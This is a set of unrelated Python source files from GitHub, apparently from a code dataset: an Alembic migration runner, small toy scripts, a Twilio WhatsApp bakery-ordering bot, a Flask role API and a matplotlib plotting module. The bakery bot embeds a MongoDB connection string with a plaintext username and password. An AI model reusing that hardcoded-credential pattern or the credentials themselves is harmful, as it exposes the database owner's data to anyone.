0:\n custom_sql_exclude = set(custom_sql_exclude_list)\n \n def is_custom_op(obj: ops.ExecuteSQL):\n return isinstance(obj, ops.ExecuteSQL) or isinstance(obj, alembicops.ExecuteSQLOp)\n\n def include_rev(name: str):\n if custom_sql_include is not None:\n return name in custom_sql_include\n if custom_sql_exclude is not None:\n return name not in custom_sql_exclude\n return True\n \n\n script_directory = self.cmd.get_script_directory()\n revs = script_directory.walk_revisions()\n \n # this is cleared after each upgrade\n temp_buffer = ClearableStringIO()\n\n opts = Runner.get_opts()\n opts['as_sql'] = True\n opts['output_buffer'] = temp_buffer\n mc = MigrationContext.configure(\n connection=connection,\n dialect_name=dialect,\n opts=opts,\n )\n \n custom_sql_buffer = io.StringIO()\n\n # monkey patch the Dispatcher.dispatch method to know what's being changed/dispatched\n # for each upgrade path, we'll know what the last object was and can make decisions based on that\n \n last_ops = []\n\n def my_decorator(func):\n @wraps(func)\n def wrapper(self, *args, **kwargs):\n nonlocal last_ops\n last_ops.append(args[0])\n return func(self, *args, **kwargs) \n return wrapper \n \n Dispatcher.dispatch = my_decorator(Dispatcher.dispatch)\n\n # order is flipped, it goes from most recent to oldest\n # we want to go from oldest -> most recent \n revs = list(revs)\n revs.reverse()\n\n upgrade_ops = []\n downgrade_ops = []\n with Operations.context(mc):\n for rev in revs:\n # run upgrade(), we capture what's being changed via the dispatcher and see if it's custom sql \n rev.module.upgrade()\n\n header_written = False\n if include_rev(rev.revision):\n # the number of ops should match the number of sql chunks written\n # may eventually have ops that do more than 1 sql write and need to handle this differently???\n assert len(last_ops) == temp_buffer.chunk_len()\n\n for i in range(len(last_ops)):\n op = last_ops[i]\n if is_custom_op(op):\n if as_buffer:\n chunk = temp_buffer.get_chunk(i)\n if not header_written:\n custom_sql_buffer.write(\"-- custom sql for rev %s\\n\" % rev.revision)\n header_written = True\n \n # only write if chunk is custom op \n custom_sql_buffer.write(chunk)\n\n if as_ops:\n upgrade_ops.append(op)\n\n last_ops = []\n\n\n # run downgrade, capture what's being changed via the dispatcher and see if it's custom sql \n rev.module.downgrade()\n for op in last_ops:\n if is_custom_op(op):\n downgrade_ops.append(op)\n\n last_ops = []\n\n temp_buffer.clear()\n \n if as_ops:\n return (upgrade_ops, downgrade_ops)\n\n return custom_sql_buffer\n \n def migrations_against_empty(self, database=''):\n dialect = self.connection.dialect.name\n\n raw_engine = self.args.get('engine', None)\n if raw_engine is None:\n raise ValueError(\"must specify engine\")\n\n # use passed in database. make sure not None\n url = make_url(raw_engine).set(database=database or '')\n\n engine = sa.create_engine(url)\n connection = engine.connect()\n\n metadata = sa.MetaData()\n metadata.reflect(bind=connection)\n if len(metadata.sorted_tables) != 0:\n raise Exception(\"to compare from base tables, cannot have any tables in database. have %d\" % len(\n metadata.sorted_tables))\n\n mc = MigrationContext.configure(\n connection=connection,\n dialect_name=dialect,\n opts=Runner.get_opts(),\n )\n migrations = produce_migrations(mc, self.metadata) \n return (migrations, connection, dialect, mc)\n \n # doesn't invoke env.py. completely different flow\n # progressive_sql and upgrade range do go through offline path\n def all_sql(self, file=None, database=''):\n (migrations, connection, dialect, mc) = self.migrations_against_empty(database=database)\n \n # default is stdout so let's use it\n buffer = sys.stdout\n if file is not None:\n buffer = open(file, 'w')\n\n # use different migrations context with as_sql so that we don't have issues\n opts = Runner.get_opts()\n opts['as_sql'] = True\n opts['output_buffer'] = buffer\n mc2 = MigrationContext.configure(\n connection=connection,\n opts=opts\n )\n\n # let's do a consistent (not runtime dependent) sort of constraints by using name instead of _creation_order\n @property\n def sort_constraints_by_name(self):\n return sorted(self.constraints, key=lambda c: c.name)\n\n prev_sort = sa.Table._sorted_constraints\n sa.Table._sorted_constraints = sort_constraints_by_name\n\n def invoke(op):\n if isinstance(op, alembicops.OpContainer):\n for op2 in op.ops:\n invoke(op2)\n else:\n operations.invoke(op)\n\n operations = Operations(mc2)\n\n # create alembic table to start\n mc2._version.create(bind=mc2.connection)\n\n for op in migrations.upgrade_ops.ops:\n invoke(op)\n \n custom_sql_buffer = self._get_custom_sql(connection, dialect, as_buffer=True)\n\n # add custom sql at the end\n buffer.write(custom_sql_buffer.getvalue())\n buffer.close()\n \n # restore this\n sa.Table._sorted_constraints = prev_sort\n \n\n\n def progressive_sql(self, file=None):\n if file is not None:\n config.output_buffer = open(file, 'w')\n\n self.upgrade('base:heads', sql=True)\n","repo_name":"lolopinto/ent","sub_path":"python/auto_schema/auto_schema/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":21863,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"7"} +{"seq_id":"25115980376","text":"from tkinter import *\nfrom random import choice\nfrom os import system, name\nimport time\ndef clear():\n if name == \"nt\":\n system(\"cls\")\n else:\n system(\"clear\")\n\nresponses = [\"As I see it, yes.\", \"Ask again later.\", \"Outlook not so good.\", \"My reply is no.\",\n \"Meditate and ask again\", \"It's hazy, try again.\", \"My sources say no.\", \"It is decidedly so.\"]\nloading = [\"Thinking.\", \"Thinking..\", \"Thinking...\"]\ngingerbread_man = True\n\nprint(\"You shook your ball.\")\nwhile gingerbread_man:\n question = input(\"What is your question?: \")\n for stage in loading:\n print(stage)\n time.sleep(.4)\n clear()\n print(choice(responses))\n play_again = input(\"Is this answer satisfactory?: \").capitalize()\n if play_again == \"Yes\":\n print(\"See you later, crocodile.\")\n gingerbread_man = False\n else:\n print(\"You shake your ball again.\")\n","repo_name":"SJacobson13/APCS-2020-2021","sub_path":"Magic8Ball.py","file_name":"Magic8Ball.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26550966259","text":"import subprocess\nimport sys\nimport re\n\ndef check_installed_package(package):\n try:\n subprocess.run([sys.executable, '-m', 'pip', 'show', package], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=True)\n return True\n except subprocess.CalledProcessError:\n return False\n\ndef install_package(package):\n subprocess.run([sys.executable, '-m', 'pip', 'install', package], check=True)\n\n# Check for wheel package\nif not check_installed_package('wheel'):\n install_package('wheel')\n\n\ndef check_installed_program_version(program, version_pattern):\n try:\n result = subprocess.run([program, '--version'], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, check=True, text=True)\n version = result.stdout.strip()\n if re.match(version_pattern, version):\n return True\n else:\n return False\n except (subprocess.CalledProcessError, FileNotFoundError):\n return False\n\n# Check for .NET 8 SDK\nif not check_installed_program_version('dotnet', r'^8\\.\\d+\\.\\d+'):\n print('.NET 8 SDK not found or incorrect version. Please install the correct .NET 8 SDK version.')\n sys.exit(1)","repo_name":"mikerosam/quix-streams","sub_path":"src/builds/python/windows/install_dependencies.py","file_name":"install_dependencies.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"6628199577","text":"# 30k per bedroom\n# house costs is 50k\n# ex. 2 bedroom = 50 + (30 * 2) = 110\n# create nueral network that learns this relationship \n# predict 10 bedroom house costs\n\nimport tensorflow as tf\nimport numpy as np\n\n# train data\nx_data = np.array(range(1, 11), dtype='float32')\nprint(x_data)\n\ny_data = np.array(np.arange(0.3, 3.0, 0.3))\nprint(y_data)\n\n# simple model\nmodel = tf.keras.models.Sequential([\n tf.keras.layers.Dense(1, input_shape=[1])\n])\n\nmodel.compile(loss='mean_squared_error', optimizer='SGD', metrics=['accuracy'])\nmodel.fit(x_data, y_data, epochs=100)\n\n# 7 bedroom -> 210k\nmodel.predict([7.0])\n\n\n\n\n\n","repo_name":"galaxy1014/TorchAndTensorflow","sub_path":"Simple Network/Linear Regression(Tensorflow).py","file_name":"Linear Regression(Tensorflow).py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38511887106","text":"from flask import Flask, request\nfrom twilio.twiml.messaging_response import MessagingResponse\nfrom pymongo import MongoClient\nfrom datetime import datetime\ncluster = MongoClient(\"mongodb+srv://jain:jain@cluster0.fjuymq7.mongodb.net/?retryWrites=true&w=majority\")\ndb = cluster [\"bakery\"]\nusers = db[\"users\"]\norders = db[\"orders\"]\napp = Flask(__name__)\n\n@app.route(\"/\", methods=[\"get\", \"post\"])\ndef reply():\n text = request.form.get(\"Body\")\n number = request.form.get(\"From\")\n number = number.replace(\"whatsapp:\",\"\")\n res = MessagingResponse()\n user = users.find_one({\"number\" :number})\n\n if bool(user) == False:\n res.message(\"Hi,Thanks for contacting *The Red Velvet.*\\n you can choose from one of the options below:\" \"\\n\\n *Type*\\n\\n 1️⃣ 👉 *Contact* us\\n 2️⃣️ 👉 To *Orders*\\n 3️⃣ 👉 To know our *working hours*\\n 4️⃣ 👉 To get our *Address*\")\n users.insert_one({\"number\": number, \"status\": \"main\", \"Messages\":[]})\n elif user[\"status\"] == \"main\":\n try:\n option = int(text)\n except:\n res.message(\"please enter a valid response\")\n return str(res)\n if option == 1:\n res.message(\"You can contact us through phone or email.\\n\\n*Phone*: +98 991 33700 *E-Mail*:ccmgurgaon@gmail.com\")\n elif option == 2:\n res.message(\"You have *Ordering Mode*\")\n users.update_one({\"number\":number}, {\"$set\": {\"status\": \"Ordering\"}})\n res.message(\n \"You can select one of the following cakes to Order:\\n\\n 1️⃣ Red Velvet \\n 2️⃣ Dark Foresst \\n 3️⃣ ICE Creame\\n 4️⃣ Plum Cake \\n 5️⃣ Sponge Cake \\n 6️⃣ Genoise Cake \\n 7️⃣ Carrot Cake \\n 8️⃣ ButterScoch Cake \\n 0️⃣ GoBack\")\n elif option == 3:\n res.message(\"Weare working from *9 AM to 6 PM*\")\n elif option == 4:\n res.message(\"We have multiple stores across the city.Our Main Centre is at *4/54, New Delhi*\")\n else:\n res.message(\"please enter a valid response\")\n return str(res)\n elif user[\"status\"] == \"Ordering\":\n try:\n option = int(text)\n except:\n res.message(\"please enter a valid response\")\n return str(res)\n if option == 0:\n users.update_one(\n {\"number\": number}, {\"$set\": {\"status\": \"main\"}})\n res.message(\n \"You can choose from one of the options below:\" \"\\n\\n *Type*\\n\\n 1️⃣ *Contact* us\\n 2️⃣️ To*Orders*\\n 3️⃣ To know our *working hours*\\n 4️⃣ To get our *Address*\")\n elif 1 <= option <= 9:\n cakes = [\"Red Velvet\", \"Dark Foresst\", \"ICE Creame\", \"Plum Cake\", \"Sponge Cake\", \"Genoise Cake\", \"Carrot Cake\", \"ButterScoch Cake\"]\n selected = cakes[option - 1]\n users.update_one(\n {\"number\": number}, {\"$set\": {\"status\": \"address\"}})\n users.update_one(\n {\"number\": number}, {\"$set\": {\"item\": selected}})\n res.message(\"Excellant Choice 😉\")\n res.message(\"Enter your address to confirm your order\")\n else:\n res.message(\"please enter a valid response\")\n elif user [\"status\"] == \"address\":\n selected = user[\"item\"]\n res.message(\"Thanks for shopping with us!\")\n res.message(f\"your order for *{selected}* has been received and will be delivered at *{text}* with in hours\")\n orders.insert_one({\"number\": number, \"item\": selected, \"address\":text, \"order_Time\":datetime.now()})\n users.update_one(\n {\"number\": number}, {\"$set\": {\"status\": \"Ordered\"}})\n elif user[\"status\"] == \"Ordered\":\n res.message(\n \"Hi,Thanks for contacting again \\n you can choose from one of the options below:\" \"\\n\\n *Type*\\n\\n 1️⃣ 👉 *Contact* us\\n 2️⃣️ 👉 To *Orders*\\n 3️⃣ 👉 To know our *working hours*\\n 4️⃣ 👉 To get our *Address*\")\n users.update_one(\n {\"number\": number}, {\"$set\": {\"status\": \"main\"}})\n users.update_one({\"number\": number}, {\"$push\": {\"text\":text, \"date\":datetime.now()}})\n return str(res)\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"neerajchanna/automat-whatsapp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40310881154","text":"\"\"\"Create Role\"\"\"\r\nimport time\r\n\r\nfrom flask import request\r\nfrom library.common import Common\r\nfrom library.postgresql_queries import PostgreSQL\r\n\r\nclass CreateRole(Common):\r\n \"\"\"Class for CreateRole\"\"\"\r\n\r\n # INITIALIZE\r\n def __init__(self):\r\n \"\"\"The Constructor for CreateRole class\"\"\"\r\n self.postgres = PostgreSQL()\r\n super(CreateRole, self).__init__()\r\n\r\n def create_role(self):\r\n \"\"\"\r\n This API is for Creating Role\r\n ---\r\n tags:\r\n - Role\r\n produces:\r\n - application/json\r\n parameters:\r\n - name: token\r\n in: header\r\n description: Token\r\n required: true\r\n type: string\r\n - name: userid\r\n in: header\r\n description: User ID\r\n required: true\r\n type: string\r\n - name: query\r\n in: body\r\n description: Role\r\n required: true\r\n schema:\r\n id: Role\r\n properties:\r\n role_name:\r\n type: string\r\n role_details:\r\n type: string\r\n permission_ids:\r\n types: array\r\n example: []\r\n responses:\r\n 500:\r\n description: Error\r\n 200:\r\n description: Role\r\n \"\"\"\r\n data = {}\r\n\r\n # GET JSON REQUEST\r\n query_json = request.get_json(force=True)\r\n\r\n # GET HEADER\r\n token = request.headers.get('token')\r\n userid = request.headers.get('userid')\r\n\r\n # CHECK TOKEN\r\n token_validation = self.validate_token(token, userid)\r\n\r\n if not token_validation:\r\n data[\"alert\"] = \"Invalid Token\"\r\n data['status'] = 'Failed'\r\n\r\n # RETURN ALERT\r\n return self.return_data(data)\r\n\r\n if not self.insert_role(query_json):\r\n\r\n data[\"alert\"] = \"Please check your query!\"\r\n data['status'] = 'Failed'\r\n\r\n # RETURN ALERT\r\n return self.return_data(data)\r\n\r\n data['message'] = \"Role successfully created!\"\r\n data['status'] = \"ok\"\r\n return self.return_data(data)\r\n\r\n def insert_role(self, query_json):\r\n \"\"\"Insert Role\"\"\"\r\n\r\n data = {}\r\n data['role_name'] = query_json['role_name']\r\n data['role_details'] = query_json['role_details']\r\n data['created_on'] = time.time()\r\n\r\n role_id = self.postgres.insert('role', data, 'role_id')\r\n\r\n if role_id:\r\n\r\n for permission_id in query_json['permission_ids']:\r\n\r\n temp = {}\r\n temp['role_id'] = role_id\r\n temp['permission_id'] = permission_id\r\n self.postgres.insert('role_permission', temp)\r\n\r\n return 1\r\n\r\n return 0\r\n","repo_name":"gbf-labs/rh-api","sub_path":"controllers/role/create_role.py","file_name":"create_role.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71450587103","text":"#!@PYTHON@\n####!/usr/bin/env python\n\n\"\"\"\n:py:class:`GlobalGraphics` - collection of global graphical methods\n===================================================================\n\nUsage::\n\n import pyimgalgos.GlobalGraphics as gg\n\n # Methods\n\n fig, axim, axcb = gg.fig_axes(figsize=(13,12), title='Image', dpi=80, win_axim=(0.05, 0.03, 0.87, 0.93), win_axcb=(0.923, 0.03, 0.02, 0.93))\n fig, axim, axcb, imsh = gg.fig_axim_axcb_imsh(figsize=(13,12), title='Image', dpi=80, win_axim=(0.05, 0.03, 0.87, 0.93),\n win_axcb=(0.923, 0.03, 0.02, 0.93), arr2d=np.zeros((10,10)), origin='upper')\n gg.plot_imgcb(fig, axim, axcb, imsh, arr2d, amin=None, amax=None, origin='upper', title=None, cmap='inferno')\n gg.plot_img(img, mode=None, amin=None, amax=None, cmap='inferno')\n gg.plot_peaks_on_img(peaks, axim, iX, iY, color='w', pbits=0, lw=2)\n size = gg.size_of_shape(shape=(2,3,8))\n arr = gg.getArrangedImage(shape=(40,60))\n arr = gg.getRandomImage(mu=200, sigma=25, shape=(40,60))\n hi = gg.getImageAs2DHist(iX,iY,W=None)\n img = gg.getImageFromIndexArrays(iX,iY,W=None)\n fig, axhi, hi = gg.plotHistogram(arr, amp_range=None, figsize=(6,6), bins=None, title='', window=(0.15, 0.10, 0.78, 0.82))\n fig, axhi, hi = gg.hist1d(arr, bins=None, amp_range=None, weights=None, color=None, show_stat=True,\n log=False, figsize=(6,5), axwin=(0.15, 0.12, 0.78, 0.80), title=None,\n xlabel=None, ylabel=None, titwin=None)\n axim = gg.plotImageLarge(arr, img_range=None, amp_range=None, figsize=(12,10), title='Image', origin='upper',\n window=(0.05, 0.03, 0.94, 0.94), cmap='inferno')\n gg.plotImageAndSpectrum(arr, amp_range=None, cmap='inferno')\n fig, ax = gg.plotGraph(x,y, figsize=(5,10), window=(0.15, 0.10, 0.78, 0.86), pfmt='b-', lw=1)\n gg.drawCircle(axes, xy0, radius, linewidth=1, color='w', fill=False)\n gg.drawCircle(axes, xy0, radius, linewidth=1, color='w', fill=False)\n gg.drawCenter(axes, xy0, s=10, linewidth=1, color='w')\n gg.drawLine(axes, xarr, yarr, s=10, linewidth=1, color='w')\n gg.drawRectangle(axes, xy, width, height, linewidth=1, color='w')\n gg.save(fname='img.png', do_save=True, pbits=0377)\n gg.save_fig(fig, fname='img.png', do_save=True, pbits=0377)\n gg.move(x0=200,y0=100)\n gg.move_fig(fig, x0=200, y0=100)\n gg.show(mode=None)\n\nSee:\n - :py:class:`Graphics`\n - :py:class:`GlobalGraphics`\n - :py:class:`NDArrGenerators`\n - `matplotlib `_.\n\nThis software was developed for the SIT project.\nIf you use all or part of it, please give an appropriate acknowledgment.\n\nCreated in 2015 by Mikhail Dubrovin\n\"\"\"\nfrom __future__ import print_function\n\nimport sys\nimport numpy as np\nimport os\nos.environ['LIBGL_ALWAYS_INDIRECT'] = '1' # get rid of libGL error: unable to load driver: swrast_dri.so\n\nimport matplotlib\n#if matplotlib.get_backend() != 'Qt4Agg': matplotlib.use('Qt4Agg')\n\nimport matplotlib.pyplot as plt\nimport matplotlib.lines as lines\nimport matplotlib.patches as patches\n\nfrom CalibManager.PlotImgSpeWidget import add_stat_text\n\n\nclass Storage(object):\n def __init__(self):\n pass\n\nstore = Storage() # singleton\n\ndef fig_axes(figsize=(13,12), title='Image', dpi=80, \\\n win_axim=(0.05, 0.03, 0.87, 0.93), \\\n win_axcb=(0.923, 0.03, 0.02, 0.93)):\n \"\"\" Creates and returns figure, and axes for image and color bar\n \"\"\"\n fig = plt.figure(figsize=figsize, dpi=dpi, facecolor='w', edgecolor='w', frameon=True)\n axim = fig.add_axes(win_axim)\n axcb = fig.add_axes(win_axcb)\n fig.canvas.manager.set_window_title(title)\n store.fig, store.axim, store.axcb = fig, axim, axcb\n return fig, axim, axcb\n\n\ndef fig_img_axes(fig=None, win_axim=(0.08, 0.05, 0.89, 0.93), **kwa):\n \"\"\" Returns figure and image axes\n \"\"\"\n _fig = figure(figsize=(6,5)) if fig is None else fig\n axim = _fig.add_axes(win_axim, **kwa)\n return _fig, axim\n\n\n\ndef fig_axim_axcb_imsh(figsize=(13,12), title='Image', dpi=80,\\\n win_axim=(0.05, 0.03, 0.87, 0.93),\\\n win_axcb=(0.923, 0.03, 0.02, 0.93),\\\n arr2d=np.zeros((10,10)), origin='upper'):\n \"\"\" Creates and returns figure, axes for image and color bar, imshow object\n \"\"\"\n fig = plt.figure(figsize=figsize, dpi=dpi, facecolor='w', edgecolor='w', frameon=True)\n axim = fig.add_axes(win_axim)\n axcb = fig.add_axes(win_axcb)\n fig.canvas.manager.set_window_title(title)\n imsh = axim.imshow(arr2d, interpolation='nearest', aspect='auto', origin=origin)\n return fig, axim, axcb, imsh\n\n\ndef fig_img_cbar_axes(fig=None,\\\n win_axim=(0.05, 0.05, 0.87, 0.93),\\\n win_axcb=(0.923, 0.05, 0.02, 0.93),\\\n **kwa):\n \"\"\" Returns figure and axes for image and color bar\n \"\"\"\n _fig = figure() if fig is None else fig\n return _fig,\\\n _fig.add_axes(win_axim, **kwa),\\\n _fig.add_axes(win_axcb, **kwa)\n\n\nFYMIN, FYMAX = 0.050, 0.90\ndef fig_img_cbar_hist_axes(fig=None,\\\n win_axim=(0.02, FYMIN, 0.8, FYMAX),\\\n win_axcb=(0.915, FYMIN, 0.01, FYMAX),\\\n win_axhi=(0.76, FYMIN, 0.15, FYMAX),\\\n **kwa):\n \"\"\" Returns figure and axes for image, color bar, and spectral histogram\n \"\"\"\n _fig = figure() if fig is None else fig\n return _fig,\\\n _fig.add_axes(win_axim, **kwa),\\\n _fig.add_axes(win_axcb, **kwa),\\\n _fig.add_axes(win_axhi, **kwa)\n\n\ndef imshow_cbar(fig, axim, axcb, img, amin=None, amax=None, **kwa):\n \"\"\"\n extent - list of four image physical limits for labeling,\n cmap: 'gray_r'\n #axim.cla()\n \"\"\"\n orientation = kwa.pop('orientation', 'vertical') # because imshow does not have it\n\n axim.cla()\n if img is None: return\n imsh = axim.imshow(img,\\\n cmap=kwa.pop('cmap', 'inferno'),\\\n norm=kwa.pop('norm',None),\\\n aspect=kwa.pop('aspect', 'auto'),\\\n interpolation=kwa.pop('interpolation', 'nearest'),\\\n alpha=kwa.pop('alpha',None),\\\n vmin=amin,\\\n vmax=amax,\\\n origin=kwa.pop('origin', 'upper'))#,\\\n# extent=kwa.pop('extent', None))#,\\\n# aspect=kwa.pop('aspect', 'auto'),\\\n# filternorm=kwa.pop('filternorm',True),\\\n# filterrad=kwa.pop('filterrad',4.0),\\\n# resample=kwa.pop('resample',None),\\\n# url=kwa.pop('url',None),\\\n# data=kwa.pop('data',None),\\\n# **kwa)\n axim.autoscale(False)\n ave = np.mean(img) if amin is None and amax is None else None\n rms = np.std(img) if amin is None and amax is None else None\n cmin = amin if amin is not None else ave-1*rms if ave is not None else None\n cmax = amax if amax is not None else ave+3*rms if ave is not None else None\n if cmin is not None: imsh.set_clim(cmin, cmax)\n\n #print('GGG cmin:', cmin)\n #print('GGG cmax:', cmax)\n #print('GGG axcb.get_position:', axcb.get_position())\n\n axcb.cla()\n #axcb.set_position([0.915, 0.04, 0.01, 0.93])\n #axcb.set_ylim((cmin, cmax))\n cbar = fig.colorbar(imsh, cax=axcb, orientation=orientation)\n #pad=0, fraction=0.09, shrink=1, aspect=5)\n #cbar = fig.colorbar(imsh, pad=0.005, fraction=0.09, shrink=1, aspect=40) # orientation=1\n\n #print('GGG axcb.get_position:', axcb.get_position())\n\n return imsh, cbar\n\n\ndef plot_imgcb(fig, axim, axcb, imsh, arr2d, amin=None, amax=None, origin='upper', title=None, cmap='inferno'):\n if arr2d is None: return\n if imsh is not None: imsh.set_data(arr2d)\n else: imsh = axim.imshow(arr2d, interpolation='nearest', aspect='auto', origin=origin, cmap=cmap)\n ave = np.mean(arr2d) if amin is None and amax is None else None\n rms = np.std(arr2d) if amin is None and amax is None else None\n #print 'img ave = %s, rms = %s' % (str(ave), str(rms))\n cmin = amin if amin is not None else ave-1*rms if ave is not None else None\n cmax = amax if amax is not None else ave+3*rms if ave is not None else None\n if cmin is not None: imsh.set_clim(cmin, cmax)\n colb = fig.colorbar(imsh, cax=axcb) # , orientation='horizontal')\n if title is not None: fig.canvas.manager.set_window_title(title)\n\n\ndef plot_img(img, mode=None, amin=None, amax=None, cmap='inferno'):\n\n fig, axim, axcb = store.fig, store.axim, store.axcb\n\n axim.cla()\n imsh = axim.imshow(img, interpolation='nearest', aspect='auto', origin='upper', cmap=cmap) # extent=img_range)\n colb = fig.colorbar(imsh, cax=axcb) # , orientation='horizontal')\n\n ave = np.mean(img) if amin is not None or amax is not None else None\n rms = np.std(img) if amin is not None or amax is not None else None\n #print 'img ave = %f, rms = %f' % (ave, rms)\n store.amin = amin if amin is not None else ave-1*rms\n store.amax = amax if amax is not None else ave+5*rms\n\n imsh.set_clim(store.amin, store.amax)\n\n #print_help(1)\n\n if mode is None: plt.ioff() # hold contraol at show() (connect to keyboard for controllable re-drawing)\n else : plt.ion() # do not hold control\n\n #fig.canvas.draw()\n plt.show()\n\n\ndef plot_peaks_on_img(peaks, axim, iX, iY, color='w', pbits=0, lw=2):\n \"\"\" Draws peaks on the top of image axes (axim)\n Plots peaks from array as circles in coordinates of image.\n\n - peaks - 2-d list/tuple of peaks; first 6 values in each peak record should be (s, r, c, amax, atot, npix)\n - axim - image axes\n - iX - array of x-coordinate indexes for all pixels addressed as [s, r, c] - segment, row, column\n - iX - array of y-coordinate indexes for all pixels addressed as [s, r, c] - segment, row, column\n - color - peak-ring color\n - pbits - verbosity; print 0 - nothing, +1 - peak parameters, +2 - x, y peak coordinate indexes\n \"\"\"\n if peaks is None: return\n\n #anorm = np.average(peaks,axis=0)[4] if len(peaks)>1 else peaks[0][4] if peaks.size>0 else 100\n for rec in peaks:\n s, r, c, amax, atot, npix = rec[0:6]\n if pbits & 1: print('s, r, c, amax, atot, npix=', s, r, c, amax, atot, npix)\n inds = (int(s),int(r),int(c)) if iX.ndim>2 else (int(r),int(c))\n x=iX[inds]\n y=iY[inds]\n if pbits & 2: print(' x,y=',x,y)\n xyc = (y,x)\n #r0 = 2+3*atot/anorm\n r0 = 5\n circ = patches.Circle(xyc, radius=r0, linewidth=lw, color=color, fill=False)\n axim.add_artist(circ)\n\n\ndef size_of_shape(shape=(2,3,8)):\n size=1\n for d in shape: size *= d\n return size\n\n\ndef getArrangedImage(shape=(40,60)):\n arr = np.arange(size_of_shape(shape))\n arr.shape = shape\n return arr\n\n\ndef getRandomImage(mu=200, sigma=25, shape=(40,60)):\n arr = mu + sigma*np.random.standard_normal(shape)\n return arr\n\n\ndef getImageAs2DHist(iX,iY,W=None):\n \"\"\"Makes image from iX, iY coordinate index arrays and associated weights, using np.histogram2d(...).\n \"\"\"\n xsize = np.ceil(iX).max()+1\n ysize = np.ceil(iY).max()+1\n if W is None: weights = None\n else : weights = W.flatten()\n H,Xedges,Yedges = np.histogram2d(iX.flatten(), iY.flatten(), bins=(xsize,ysize), range=((-0.5,xsize-0.5),(-0.5,ysize-0.5)), normed=False, weights=weights)\n return H\n\n\ndef getImageFromIndexArrays(iX,iY,W=None):\n \"\"\"Makes image from iX, iY coordinate index arrays and associated weights, using indexed array.\n \"\"\"\n xsize = iX.max()+1\n ysize = iY.max()+1\n if W is None: weight = np.ones_like(iX)\n else : weight = W\n img = np.zeros((xsize,ysize), dtype=np.float32)\n img[iX,iY] = weight # Fill image array with data\n return img\n\n\ndef plotHistogram(arr, amp_range=None, figsize=(6,6), bins=None, title='', window=(0.15, 0.10, 0.78, 0.82)):\n \"\"\"Makes historgam from input array of values (arr), which are sorted in number of bins (bins) in the range (amp_range=(amin,amax))\n \"\"\"\n fig = plt.figure(figsize=figsize, dpi=80, facecolor='w',edgecolor='w', frameon=True)\n axhi = fig.add_axes(window)\n hbins = bins if bins is not None else 100\n hi = axhi.hist(arr.flatten(), bins=hbins, range=amp_range) #, log=logYIsOn)\n #fig.canvas.manager.set_window_title(title)\n axhi.set_title(title, color='k', fontsize=20)\n return fig, axhi, hi\n\n\ndef hist1d(arr, bins=None, amp_range=None, weights=None, color=None, show_stat=True, log=False,\\\n figsize=(6,5), axwin=(0.15, 0.12, 0.78, 0.80),\\\n title=None, xlabel=None, ylabel=None, titwin=None):\n \"\"\"Makes historgam from input array of values (arr), which are sorted in number of bins (bins) in the range (amp_range=(amin,amax))\n \"\"\"\n #print 'hist1d: title=%s, size=%d' % (title, arr.size)\n if arr.size==0: return None, None, None\n fig = plt.figure(figsize=figsize, dpi=80, facecolor='w', edgecolor='w', frameon=True)\n if titwin is not None: fig.canvas.manager.set_window_title(titwin)\n elif title is not None: fig.canvas.manager.set_window_title(title)\n axhi = fig.add_axes(axwin)\n hbins = bins if bins is not None else 100\n hi = axhi.hist(arr.flatten(), bins=hbins, range=amp_range, weights=weights, color=color, log=log) #, log=logYIsOn)\n if amp_range is not None: axhi.set_xlim(amp_range) # axhi.set_autoscale_on(False) # suppress autoscailing\n if title is not None: axhi.set_title(title, color='k', fontsize=20)\n if xlabel is not None: axhi.set_xlabel(xlabel, fontsize=14)\n if ylabel is not None: axhi.set_ylabel(ylabel, fontsize=14)\n if show_stat:\n weights, bins, patches = hi\n add_stat_text(axhi, weights, bins)\n return fig, axhi, hi\n\n\ndef plotSpectrum(arr, amp_range=None, figsize=(6,6)): # range=(0,500)\n plotHistogram(arr, amp_range, figsize)\n\n\ndef plotImage(arr, img_range=None, amp_range=None, figsize=(12,5), title='Image', origin='upper', window=(0.05, 0.05, 0.95, 0.92), cmap='jet'):\n fig = plt.figure(figsize=figsize, dpi=80, facecolor='w', edgecolor='w', frameon=True)\n axim = fig.add_axes(window)\n imsh = plt.imshow(arr, interpolation='nearest', aspect='auto', origin=origin, extent=img_range, cmap=cmap) #,extent=self.XYRange, origin='lower'\n colb = fig.colorbar(imsh, pad=0.005, fraction=0.1, shrink=1, aspect=20)\n if amp_range is not None: imsh.set_clim(amp_range[0],amp_range[1])\n #axim.set_title(title, color='b', fontsize=20)\n fig.canvas.manager.set_window_title(title)\n\n\ndef plotImageLarge(arr, img_range=None, amp_range=None, figsize=(12,10), title='Image', origin='upper', window=(0.05, 0.03, 0.94, 0.94), cmap='inferno'):\n fig = plt.figure(figsize=figsize, dpi=80, facecolor='w', edgecolor='w', frameon=True)\n axim = fig.add_axes(window)\n imsh = axim.imshow(arr, interpolation='nearest', aspect='auto', origin=origin, extent=img_range, cmap=cmap)\n colb = fig.colorbar(imsh, pad=0.005, fraction=0.09, shrink=1, aspect=40) # orientation=1\n if amp_range is not None: imsh.set_clim(amp_range[0], amp_range[1])\n #else:\n # ave, rms = arr.mean(), arr.std()\n # imsh.set_clim(ave-1*rms, ave+5*rms)\n fig.canvas.manager.set_window_title(title)\n return axim\n\n\ndef plotImageAndSpectrum(arr, amp_range=None, cmap='inferno'): #range=(0,500)\n fig = plt.figure(figsize=(15,5), dpi=80, facecolor='w', edgecolor='w', frameon=True)\n fig.canvas.manager.set_window_title('Image And Spectrum ' + u'\\u03C6')\n\n ax1 = plt.subplot2grid((10,10), (0,4), rowspan=10, colspan=6)\n axim1 = ax1.imshow(arr, interpolation='nearest', aspect='auto', cmap=cmap)\n 